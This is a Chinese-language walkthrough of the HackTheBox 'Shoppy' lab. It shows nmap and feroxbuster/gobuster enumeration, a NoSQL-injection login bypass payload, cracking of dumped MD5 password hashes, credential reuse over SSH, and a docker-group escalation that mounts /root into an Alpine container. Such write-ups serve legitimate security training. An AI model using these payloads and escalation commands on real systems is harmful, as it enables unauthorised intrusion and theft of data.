nmap -sS -Pn -sC -sV 10.10.11.180
Starting Nmap 7.92 ( https://nmap.org ) at 2023-02-05 22:01 EST
Nmap scan report for 10.10.11.180
Host is up (0.30s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 9e:5e:83:51:d9:9f:89:ea:47:1a:12:eb:81:f9:22:c0 (RSA)
| 256 58:57:ee:eb:06:50:03:7c:84:63:d7:a3:41:5b:1a:d5 (ECDSA)
|_ 256 3e:9d:0a:42:90:44:38:60:b3:b6:2c:e9:bd:9a:67:54 (ED25519)
80/tcp open http nginx 1.23.1
|_http-title: Did not follow redirect to http://shoppy.htb
|_http-server-header: nginx/1.23.1
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.87 seconds
靶机共开放了22和80两个端口,可以看看80端口
gedit /etc/hosts
10.10.11.180 shoppy.htb
页面功能非常单一,可以试着扫扫目录 看看能不能有新东西
feroxbuster -u http://shoppy.htb/ -w /usr/share/seclists/Discovery/Web-Content/common.txt -t 20 -C 302,301,404
200 GET 26l 62w 1074c http://shoppy.htb/Login
200 GET 89l 565w 213054c http://shoppy.htb/favicon.ico
200 GET 26l 62w 1074c http://shoppy.htb/login
找到了一个登录页面
gobuster vhost -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt -t 50 -u shoppy.htb
得到子域名
mattermost.shoppy.htb
绑定好host后访问,还是一个登录页面
在第一个获得登录页面尝试了弱口令,sql注入,万能密码后均不可行,于是尝试用下nosql注入,已知一个基础的nosql查询语句就像这样
this.username === '${value}' && this.password === '${value}'
所以在后端没用任何过滤的情况下,我们可以构造万能密码payload为
admin' || '' === '
this.username === 'admin' || '' === '' && this.password === 'value'
这样就可以成功进入后台了
在搜索框输入admin,即可查询到对应用户名密码的hash值
_id "62db0e93d6d6a999a66ee67a"
username "admin"
password "23c6877d9e2b564ef8b32c3a23de27b2"
接着在搜索框接着使用万能密码,就可以得到两组用户名和密码
0
_id "62db0e93d6d6a999a66ee67a"
username "admin"
password "23c6877d9e2b564ef8b32c3a23de27b2"
1
_id "62db0e93d6d6a999a66ee67b"
username "josh"
password "6ebcea65320589ca4f2f1ce039975995"
其中json的密码可以通过md5查询得到明文密码
remembermethisway
使用得到的账号密码 josh/remembermethisway登录之前找到的另一个网站,是一个聊天服务器
在聊天框得到了一组账号密码,上面说是josh用docker部署了一个服务器,并且会把提到的账号添加进去username: jaeger
password: [email protected]!
ssh [email protected]
[email protected]!
得到user.txt
默认情况下,要使用docker一定要有sudo权限,为了让主机下的多用户都能使用docker,因为在安装docker后会默认创建一个docker组,所以只需要管理员将需要使用docker的用户添加到docker用户组,之后在组中的用户就可以不用sudo来使用docker了,而且在docker容器内部默认是root权限。
sudo -l
在检查用户jaeger的sudo权限后,我们发现deploy用户可以在用户部署时运行/home/deploy/password-manager。
发现这里还需要密码,但我们现在不知道,所以打开这个密码管理器看看,在里面找到了一个像是密码的字符串,尝试登陆下
Sample
成功得到用户名和密码
username: deploy
password: [email protected]!
不难发现这个用户在docker组里面
这种提权技术通过使用Linux镜像来工作,最好是Alpine Linux,因为它是一个轻量级的Linux发行版,只有5mb左右,下载下来比较快。然后,我们可以将这个Linux镜像导入到docker中,之后,我们就可以将具有root权限的主机文件(比如root文件夹,同理你也可以挂载其他文件,比如/etc)挂载到这个容器的本地文件系统中。
我们可以看到靶机中Alpine Linux已经存在了
docker images
docker run -it -v /root:/mnt alpine
现在让我们启动这个Alpine Linux镜像,并将主机文件系统的/root目录挂载到容器文件系统的/mnt目录上。
–v参数指定我们要在Docker实例中创建一个卷(在我们创建容器的时候,docker这个-v选项,支持用户将容器外的目录映射进容器内,方便的进行容器内外的文件共享)。
–it参数将Docker置于shell模式,而不是启动守护进程。该命令将目标机器的root文件系统挂载到容器的/mnt目录,因此当容器启动时,这样我们就能获得root权限。
root文件在/mnt/root.txt